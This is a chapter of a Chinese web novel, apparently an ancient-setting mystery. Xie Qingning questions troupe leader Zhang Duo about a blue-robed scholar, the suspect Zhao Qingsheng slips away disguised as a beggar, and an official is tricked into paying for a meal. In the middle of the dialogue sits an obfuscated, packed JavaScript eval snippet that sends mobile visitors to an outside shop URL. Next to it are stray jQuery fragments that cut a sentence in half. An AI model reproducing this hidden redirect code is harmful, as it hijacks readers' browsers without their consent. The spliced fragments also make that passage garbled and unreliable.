然而此刻,张踱似是仍在恍惚,呆呆抓着铜镜,表情也是一脸犯懵。

    谢清宁见状,轻咳了声,唤回他的神思后,开口问道:“土地庙外有片青竹林,张踱,你应是去逛时认识的赵举人吧?”

    她在“逛”这个字上加了重音。

    张踱听懂之后便猛打了个激灵。

    而孟兆安是个耍惯了威风的人,哪怕京中园林不在他的管辖之内,他也欲插上两脚:“张踱,你逛竹林可以,但切记勿要砍竹,否则本司狱立刻抓你去蹲大狱!”

    张踱如梦初醒,这才彻底明白了谢清宁的意思。

    他嘴一扁,似要哭出来,又见孟兆安紧盯着他,便只能故作镇定地扭过身,生硬转移话题道:“赵、赵举人是谁啊……”

    孟兆安见他支支吾吾,没什么耐性的嘶出一声,正要再行逼问,谢清宁就丢过来一记白眼。

    孟兆安一滞,却当真闭上了嘴。

    谢清宁重新望向张踱,态度放缓道:“张班主,我有几个问题想要跟你确认,你到底去没去过那片青竹林?请如实回答。”

    张踱听罢,先是偷觑一眼背对他们的孟司狱,又想起是谢清宁方才提醒的他,这才郁郁点了下头。

    其实他这个班主根本就是赶鸭子上架,他原本还有一胞兄,胞兄精明能干全然随了父亲,唯他自小就被亲族嘲笑蠢的只剩下一根筋。

    因着自卑,他养成了酗酒的恶习,也排斥跟父兄学习傀儡戏,宁愿躲在家里陪伴母亲编竹筐卖。

    那年年节将至,村中进了贼匪,父母接连被害,不成想生死关头之际,一向对他冷脸斥他“废物”的胞兄却死死挡在他身前,用自己的命护住了他。

    他知父兄一生的心血都在吉祥班上,于是便跪倒在四位师傅脚下求师傅们扶持。

    可只靠着三分血气自然不成,眼看着班子逐渐走向衰败,他愁的又开始饮酒度日……

    张踱心情沉重地讲出家中事,待心底郁气散掉了些,就回忆着道:“我在竹林里确实碰到过一个人,但距离有些远,只能隐约分辨他穿的是件青衫。”

    谢清宁端然:“那发饰和鞋子的款式看得清么?”

    张踱摇摇头:“瞧不清楚。”

    谢清宁微微蹙眉,像是又想到什么:“其他的呢?比如手中有没有拿什么物件?或是背了某样东西?”

    张踱闻言,发出声极轻的“诶”,而后眸色忽的亮起,表情有些激动道:“书箧!他背了一只红色的书箧!!”

    想起这事后,他便像死灰复燃一般又话多起来:“不瞒各位,若不是阿铁小公子的提醒我还真险些忘了,梦到双面新娘之前,我确实同几个书生饮酒来着。”

    “但我酒量属实不佳……”

    可他这话刚完,众人便都望向他,就连孟兆安也悄悄竖起了耳朵。

    谢清宁语速加快道:“几个书生?可有竹林遇上那人?”

    张踱为难:“还真没有。”

    与此同时,吉祥班的师傅正欲出来唤他,刚好听到这一句就没忍住插了个嘴:“我倒是看见一人过来找班主,打扮也像个书生,不过他是等那几个书生走了之后才坐下来的。”

    众人听罢,又转向师傅。

    师傅走近半步,继续道:“当时我还有点纳闷,班主都吃醉了那人怎还过来说话?但他也没待太久,片刻便起身离开了。”

    “等到班主酒醒,就写出了双面新娘的故事,这本子确实新奇,以前我们也从未见过。”

    师傅失笑着叹出一声:“我还以为班主跟书生们厮混一场,也学出了几分文采和雅性。”

    谢清宁听出师傅对张踱的失望,但这是人家班子里的事,她并不好多嘴。

    又问几句那书生模样,得到也是身着青衫,背着书箧,孟兆安就迫不及待道:“赵庆晟不是总穿这一身么?看来就是他捣的鬼!”

    说着,又蹙了下眉:“不是,他弑父之举本就骇人听闻,何苦再搞出这诸多事来?!”

    檀逍乜他一眼:“你初听新娘案和吉祥班《双面新娘》的故事时,作何感想?”

    孟兆安提起眉角,眼也不自觉瞪起:“玄乎!真他爹的玄乎!!”

    “仿佛不是人干的事!!”

    檀逍耸耸肩,不置可否。

    孟兆安回味过来了,随即又“呸”出一声:“嘿这孙子,老子就说读书无用,果然读来读去弄出一肚子坏水!”

    众人:……

    孟兆安待不住了,提刀便走:“我马上叫他们把赵庆晟给抓回来!”

    孟兆安这边走出数步,谢清宁便望向张踱:“记得去官府补交罚银。”

    张踱缓缓退后,郑重的朝他们行了个大礼。

    随后拜托刚刚说话的那位师傅上楼取下竹帘,继而匆匆往府衙行去。

    而张家的惨案言犹在耳,阿金收回视线不由得往阿银、阿铁那儿投去一眼,三仆虽没言语,可眼中皆泛起涟漪。

    阿金抽了口气,紧绷的肩强行放松下来:“等抓回赵庆晟——”

    可话还没完,阿铜就自街尾快跑过来:“不好了,赵庆晟逃了!”

    众人听得神色一紧,还不待谢清宁开口询问,紧跟而来的孟兆安和蹲守的手下们也喘着粗气站住了脚步。

    阿铜似是极为不爽,瞪了孟兆安一眼就快速汇报道:“我本欲往土地庙去盯梢,结果这一行人明晃晃的站在庙外,明明此前赵庆晟还未察觉,定是他们打草了惊蛇!”

    阿铜一脸“你们真是成事不足败事有余”的鄙夷之态,而跋扈的孟兆安这回倒也成了鹌鹑。

    谢清宁自然不满孟兆安,但眼下不是内讧的时候,她呼出口气,镇定道:“阿铜,你到庙外时赵庆晟已经跑了?”

    阿铜重重点了下头:“我还拐去赵家一趟,但家中只有那老仆一人。”

    孟兆安的手下似是不服,探出头辩驳:“我们已将土地庙围得水泄不通,赵庆晟根本没出来过。”

    谢清宁柳眉倒竖:“没出来过,那人是怎么消失的?”

    那手下紧张的咽了下口水:“可能,可能是挖的地洞……”

    谢清宁冷笑:“那你现在就去挖一个我看看,你跑的出去我就相信!”

    手下:……

    谢清宁见那人不再吭声,转身瞥向其余几名手下:“我问你们,赵庆晟进去之后可又来了什么人?”

    另一人闻言,轻呓着回:“来了一个乞丐。”

    谢清宁:“然后呢?”

    那人接着回:“不过片刻,乞丐就走了啊。”

    谢清宁:……

    “所以赵庆晟不就是这么消失的么!

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585323|205219||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    !”

    几人露出怔忡,那人也神情迷离:“不可能吧?我们进庙时里面已经没人了,乞丐和赵庆晟都不在。而且庙就那么点地方,如果他们是互换了衣衫——”

    谢清宁听得无语:“你确定真的没人?香案铺就的那道桌帘掀开看了吗?!”

    见她点出此事,众人瞬间噤声。

    孟兆安虽说也知手下帮了倒忙,但这些人终归是他统领的,他张张口想找补两句,可话还没说谢清宁就冷瞥过来:“姓孟的,如果七日到了还找不到赵庆晟,我就拿你去给檀万山交差!”

    她说罢转身上了马车,一行人顷刻就消失在了街角。

    而孟兆安被当众呵斥心里正堵,属下们又都没眼色的凑了上来——

    “大人,你咋还变成檀逍的替罪羊了?”

    “就是哇!不是说好抓檀逍进大牢么?”

    “可檀逍的夫人好生厉害,三言两语就把咱们大人给弄进去了,没想到这次遇上了高手,大人,那你岂不是完了?”

    孟兆安越听越气,对着这群饭桶连踢带踹:“你才完了,你全家都完了!滚滚滚,都给老子滚!!!”

    孟兆安发了好一通脾气,气刚顺点,隔壁酒楼又下来一伙计:“孟大人,刚刚你们那桌的账麻烦结一下,共计十三两。”

    孟兆安惶然:“多少?十三两?!”

    “就是吃头乳猪也用不上这些银钱吧?!!”

    伙计听后倒也不恼,反而赔着笑脸开始报菜名。

    只是他出口的菜名皆是酒楼招牌,有些连孟兆安自己都舍不得点来吃,孟兆安足足愣了半晌,才懵然回过神来:“你等会儿,他们吃的饭,你找我要什么银子??”

    伙计继续赔笑:“是刚刚那位戴面纱的小姐吩咐的,她说今儿个的账由您来买。”

    孟兆安:……

    檀家的马车转过几道弯便回了府,谢清宁踩着脚凳下来,因天气憋闷,尚未进宁心阁就解下了面纱。

    女子明眸暗含浅笑,举手投足亦带着沉稳和优雅,哪还有方才痛斥孟兆安时的盛怒。

    阿银打了几个饱嗝,看着阿铜说:“可惜了你没有口福,刚刚那道蟹酿橙鲜香味美,真是一绝!”

    说着,又忍不住一脸崇拜道:“还是咱们少夫人高明,不仅甩掉了孟兆安那个麻烦,还顺便敲诈了他一顿,嘿嘿~”

    谢清宁轻牵唇角:“他本就没安好心,既然非要送上门来,本小姐就好好给他长个记性!”

    阿银笑意放大,随后又有点担心:“万一他不肯付账怎么办?”

    阿金悠悠回应:“不怕谣言就尽管打发伙计来府上要账呗!咱们小檀府又不是给不起钱~”

    然而京中皆知,孟兆安特别要脸,怕是这黄连也只能自己吞了。

    阿铜还惦记赵庆晟跑了的事,于是请教谢清宁道:“少夫人,那赵庆晟怎么办?”

    谢清宁:“不过片刻,他没有准备不会轻易走得太远,大张旗鼓的贴布告捉拿赵庆晟,再叫守城的侍卫盯死那道门。”

    “不过眼下最重要的,是尽快找出阿乔才对。”

    阿铜:“我们拿着画像去问?”

    谢清宁闻言,忽然转向檀逍。

    而檀逍也难得蹙起眉来,缓声道:“找她么……可能还真要费些功夫。”